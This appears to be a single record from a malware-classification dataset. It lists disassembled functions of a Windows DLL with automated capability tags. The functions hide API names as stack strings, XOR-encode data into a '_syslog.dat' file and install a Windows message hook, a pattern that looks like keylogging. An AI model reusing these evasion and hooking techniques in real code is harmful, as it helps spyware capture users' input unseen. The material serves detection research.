joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a4c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
sub esp, 0x4c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetFileSize
push str.KERNEL32.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
push str.SetFilePointer
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x30]
lea ecx, [esp + 0x3c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x61
mov byte [esp + 0x3c], 0x74
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x46
mov byte [esp + 0x3f], 0x69
mov byte [esp + 0x40], 0x6c
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x41
mov byte [esp + 0x43], 0
call esi
push eax
call edi
mov dword [esp + 0x10], eax
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], 0x69
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x46
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0
lea edx, [esp + 0x24]
lea eax, [esp + 0x4c]
push edx
push eax
call esi
push eax
call edi
mov ecx, dword [0x10020ab0]
push 0
push 0x80
push 4
push 0
push 2
add ecx, 0xd
push 0x40000000
push ecx
mov dword [esp + 0x38], eax
call dword [esp + 0x2c]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x20], 0
call ebp
cmp eax, 0x3200000
jae 0x1000a65a
push 2
push 0
push 0
push ebx
call dword [esp + 0x24]
push str.lstrlenA
push str.KERNEL32.dll
call esi
push eax
call edi
mov ebp, dword [esp + 0x60]
push ebp
call eax
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x1000a691
sub ebp, edi
mov ecx, esi
mov dl, byte [eax + ebp]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ecx
jne 0x1000a685
lea eax, [esp + 0x18]
push 0
push eax
push esi
push edi
push ebx
call dword [esp + 0x30]
push ebx
call dword [esp + 0x24]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret
Function at 0x1000ada0
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x10019848
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CreateFileMappingA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.MapViewOfFile
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov dword [esp + 0x10], eax
mov eax, dword [0x10020ac0]
xor ebx, ebx
cmp eax, ebx
jne 0x1000ae03
push str.user32.dll
call esi
mov dword [0x10020ac0], eax
lea ecx, [esp + 0x28]
lea eax, [esp + 0x28]
push ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x1001a25c
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], 0xc
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ebx
call fcn.1000b000
mov dword [esp + 0x18], eax
mov dword [esp + 0x44], ebx
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebx
mov eax, dword [esp + 0x1c]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x1c]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call ebp
push 0x30
mov dword [0x10020ab4], eax
call ebx
mov eax, dword [0x10020ab4]
add esp, 4
test eax, eax
jne 0x1000aedf
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x44], 0xffffffff
test ebx, ebx
mov dword [esp + 0x14], 0x1001a25c
je 0x1000af53
push str.GetProcessHeap
push str.KERNEL32.dll
call esi
push eax
call edi
push str.HeapFree
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
test ebx, ebx
mov esi, eax
je 0x1000af53
push ebx
push 0
call ebp
push eax
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
add esp, 0x38
ret
push 0x30
call ebx
mov eax, dword [0x10020ab4]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [esp + 0x24]
push 0x30
mov dword [0x10020ab0], eax
call ebx
mov eax, dword [0x10020ab0]
mov ebx, dword [esp + 0x1c]
add esp, 4
mov dword [esp + 0x44], 0xffffffff
test eax, eax
mov dword [esp + 0x14], 0x1001a25c
jne 0x1000af68
test ebx, ebx
je 0x1000af53
push str.GetProcessHeap
push str.KERNEL32.dll
call esi
push eax
call edi
push str.HeapFree
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
test ebx, ebx
mov esi, eax
je 0x1000af53
push ebx
push 0
call ebp
push eax
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
add esp, 0x38
ret
test ebx, ebx
je 0x1000af9a
push str.GetProcessHeap
push str.KERNEL32.dll
call esi
push eax
call edi
push str.HeapFree
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
test ebx, ebx
mov esi, eax
je 0x1000af9a
push ebx
push 0
call ebp
push eax
call esi
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret
Function at 0x1000b000
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a260
push 0x10019398
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
push str.GetProcessHeap
push str.KERNEL32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x2c], eax
push str.HeapAlloc
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x20], eax
push str.HeapFree
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x60], eax
push str.GetLengthSid
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x50], eax
push str.InitializeSecurityDescriptor
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x48], eax
push str.AllocateAndInitializeSid
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x38], eax
push str.InitializeAcl
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x28], eax
push str.AddAccessAllowedAce
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
push str.SetSecurityDescriptorDacl
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x34], eax
push str.FreeSid
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x24], eax
xor ebx, ebx
mov dword [ebp - 0x5c], ebx
xor esi, esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x40], ebx
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], bl
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], bl
mov byte [ebp - 0x53], 1
mov dword [ebp - 4], ebx
push 1
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x48]
test eax, eax
je 0x1000b182
lea ecx, [ebp - 0x5c]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 1
lea edx, [ebp - 0x58]
push edx
call dword [ebp - 0x38]
test eax, eax
je 0x1000b182
mov eax, dword [ebp - 0x5c]
push eax
call dword [ebp - 0x50]
mov edi, eax
add edi, 0x10
mov dword [ebp - 0x4c], edi
push edi
push 8
call dword [ebp - 0x2c]
push eax
call dword [ebp - 0x20]
mov esi, eax
mov dword [ebp - 0x30], esi
cmp esi, ebx
je 0x1000b182
push 2
push edi
push esi
call dword [ebp - 0x28]
test eax, eax
je 0x1000b182
mov ecx, dword [ebp - 0x5c]
push ecx
push 0x10000000
push 2
push esi
call dword [ebp - 0x1c]
test eax, eax
je 0x1000b182
push ebx
push esi
push 1
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x34]
test eax, eax
je 0x1000b182
mov dword [ebp - 0x40], 1
mov dword [ebp - 4], 0xffffffff
call fcn.1000b1ba
cmp dword [ebp - 0x40], ebx
jne 0x1000b1c6
cmp esi, ebx
je 0x1000b1a0
push esi
push ebx
call dword [ebp - 0x2c]
push eax
call dword [ebp - 0x60]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000b250
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x2c
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0xd], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], cl
mov cl, 0x74
push ebx
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x23], al
mov byte [esp + 0x28], al
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x22], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2e], cl
lea eax, [esp + 0x20]
push esi
lea ecx, [esp + 0x14]
mov dl, 0x72
mov bl, 0x79
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1e], dl
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0x2c], 0x47
mov byte [esp + 0x2f], 0x53
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x73
mov byte [esp + 0x34], 0x6d
mov byte [esp + 0x35], 0x44
mov byte [esp + 0x36], 0x69
mov byte [esp + 0x37], dl
mov byte [esp + 0x39], 0x63
mov byte [esp + 0x3b], 0x6f
mov byte [esp + 0x3c], dl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x41
mov byte [esp + 0x3f], 0
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.GetTickCount
push str.KERNEL32.dll
mov ebx, eax
call ebp
push eax
call esi
push str.lstrcatA
push str.KERNEL32.dll
mov dword [esp + 0x14], eax
call ebp
push eax
call esi
mov dword [esp + 0x10], eax
call fcn.1000ada0
test al, al
jne 0x1000b348
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
push edi
mov edi, dword [0x10020ab0]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x10020aac], 1
call dword [esp + 0x10]
mov edx, dword [0x10020ab0]
mov dword [0x10020aa4], eax
xor eax, eax
push 0x104
mov dword [edx + 8], eax
mov ecx, dword [0x10020ab0]
mov dword [ecx + 4], eax
mov edx, dword [0x10020ab0]
mov ecx, 0x20
mov dword [edx], eax
mov edx, dword [0x10020ab0]
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x10020ab0]
add eax, 0xd
push eax
call ebx
mov ecx, dword [0x10020ab0]
push str._syslog.dat
add ecx, 0xd
push ecx
call dword [esp + 0x1c]
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov edx, dword [0x10020ac0]
add esp, 4
push str.SetWindowsHookExA
push edx
call esi
push str.GetFileAttributesA
push str.KERNEL32.dll
mov ebx, eax
call ebp
push eax
call esi
push 0x30
mov esi, eax
call edi
mov eax, dword [0x10020ab0]
add esp, 4
add eax, 0xd
push eax
call esi
cmp eax, 0xffffffff
pop edi
je 0x1000b40c
mov ecx, dword [0x10020ab0]
mov byte [ecx + 0xc], 1
jmp 0x1000b416
mov edx, dword [0x10020ab0]
mov byte [edx + 0xc], 0
mov eax, dword [0x10020ab0]
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x1000b43d
mov ecx, dword [0x10020ab8]
push 0
push ecx
push 0x1000a880
push 3
call ebx
mov edx, dword [0x10020ab0]
mov dword [edx + 4], eax
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000b7f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x1001a26c
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002c30
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4
Function at 0x1000c610
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100198f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
mov dword [esp + 0xc], ecx
push edi
mov al, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.1000c030
lea ecx, [esi + 1]
add esi, 0xd
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], esi
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
test ebp, ebp
jbe 0x1000c70a
test ebx, ebx
jbe 0x1000c6b2
lea esi, [ebx + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebx
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000c100
test eax, eax
je 0x1000c701
add dword [esp + 0x38], ebx
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000c180
test eax, eax
je 0x1000c701
mov ecx, dword [esp + 0x10]
call fcn.1000c370
jmp 0x1000c70a
mov ecx, dword [esp + 0x10]
call fcn.1000c350
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000c090
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000c770
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x10019918
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000c030
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1000c89a
test ebp, ebp
jbe 0x1000c89a
test esi, esi
jle 0x1000c834
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000c100
test eax, eax
jne 0x1000c821
mov ecx, dword [esp + 0x10]
call fcn.1000c350
jmp 0x1000c89a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.1000c220
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000c888
call fcn.1000c370
jmp 0x1000c88d
call fcn.1000c350
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000c090
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000c900
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x10019938
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000c030
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov eax, dword [ecx + 4]
mov dword [esp + 0x20], eax
mov ecx, dword [ecx + 8]
test ecx, ecx
jbe 0x1000ca2e
test eax, eax
jbe 0x1000ca2e
test esi, esi
jle 0x1000c9c4
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000c100
test eax, eax
jne 0x1000c9b1
mov ecx, dword [esp + 0x10]
call fcn.1000c350
jmp 0x1000ca2e
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x24]
add esp, 4
lea esi, [eax + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, esi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x24]
mov edi, ebp
mov ecx, eax
add ebx, eax
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.1000c8c0
add esp, 8
lea ecx, [esp + 0x14]
push eax
push ebp
call fcn.1000c1e0
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000ca20
call fcn.1000c370
jmp 0x1000ca25
call fcn.1000c350
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000c090
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000ca60
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x10019958
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000c030
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1000cb8a
test ebp, ebp
jbe 0x1000cb8a
test esi, esi
jle 0x1000cb24
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000c100
test eax, eax
jne 0x1000cb11
mov ecx, dword [esp + 0x10]
call fcn.1000c350
jmp 0x1000cb8a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.1000c270
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000cb78
call fcn.1000c370
jmp 0x1000cb7d
call fcn.1000c350
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000c090
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000cbb0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1001998e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.1000b7f0
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x1001a28c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x1000cc77
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x1001a284
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x1000ccd3
push 0x64
push 0
push 8
mov ecx, eax
call fcn.1000da00
jmp 0x1000ccd5
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x1000d430
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000f960
push ebx
push 0
push 0
push esi
push 0x1000d4a0
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000f960
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4